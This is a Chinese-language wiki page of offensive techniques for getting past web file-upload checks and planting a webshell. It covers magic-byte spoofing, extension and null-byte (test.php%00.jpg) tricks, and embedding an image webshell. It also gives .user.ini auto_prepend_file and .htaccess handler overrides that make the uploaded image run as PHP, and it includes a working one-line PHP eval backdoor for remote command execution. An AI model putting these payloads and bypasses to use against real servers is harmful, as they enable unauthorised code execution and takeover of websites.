Skip to content

文件上传姿势

sufuga edited this page Dec 3, 2021 · 1 revision

文件上传姿势

一、后缀名绕过 文件幻数(文件头)检测绕过:在木马内容的前面插入对应的文件头内容,例如:GIF89a ,更保险的方法是在可上传的文件中插入木马代码,然后修改后缀 文件加载检测:通过例如加载文件进行图像渲染的方式来测试,这个时候就一般需要在正常的文件中插入木马代码了,例如图像,那么插入的代码一般会放在图像的注释区,因此不会影响图像正常渲染绕过这种检测,此时可以使用工具(称为插马器)来进行插入,例如edjpgcom,或者直接用copy命令来合成也可以。当然这种检测不一定能够完全绕过 后缀名检测后缀黑名单检测:找查blacklist(黑名单列表)的漏网之鱼,例如 大小写:如果检测的时候不忽略大小写,那么可以改变后缀名的大小写绕过 扩展名:列表中如果忽略了某些后缀 能被解析的文件扩展名列表: jsp jspx jspf asp asa cer aspx php php php3 php4 phtml exe exee 后缀白名单检测:白名单检测还是会比黑名单强一点,常见的绕过方法有%00截断,还有服务器的解析漏洞 %00截断漏洞:如果存在这类漏洞,那么后缀名的检测都可以绕过,此时我们可以如下命名一个上传文件 复制代码 1 test.php%00.jpg 解析漏洞:这类漏洞是本身服务器的中间件产生的,例如apache,nginx都被爆出过存在解析漏洞,存在解析漏洞的话,上传的安全性几乎就完全失去了

二、图片马上传
1、在图片拓展信息插一句话,右键属性然后添加就行。

2、使用cat 1.txt >> xiaomeng.jpeg制作图片马

三、后缀白名单加内容检测(.user.ini+图片马)

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置) 和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

auto_prepend_file,指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:auto_prepend_file=01.gif

可以先上传.user.ini名字的文件指定包含图片马 例如 GIF89a auto_prepend_file=xiaomeng1.jpeg

然后上传图片马,找到一个php文件,然后访问这个php文件就能连接蚁剑 因为:.user.ini让它在执行index.php之前,执行我们上传的后门。

四、上传.htaccess+图片马 图片马 GIF98a

<script language="pHp">@eval($_POST['cmd'])</script>

首先上传.htaccess文件(文件名即为.htaccess),内容要修改Content-Type类型为图片类型(如image/png) 一般需要修的的content-type为 image/jpeg、 image/png

<FilesMatch "xiaomeng1.png"> SetHandler appliaction/x-httpd-php 或 AddType application/x-httpd-php .mochu (将.mochu后缀的文件解析成php )

.htaccess将文件后缀jpg修改为php进行解析 然后上传图片马 将content-type的值修改为image/png

Clone this wiki locally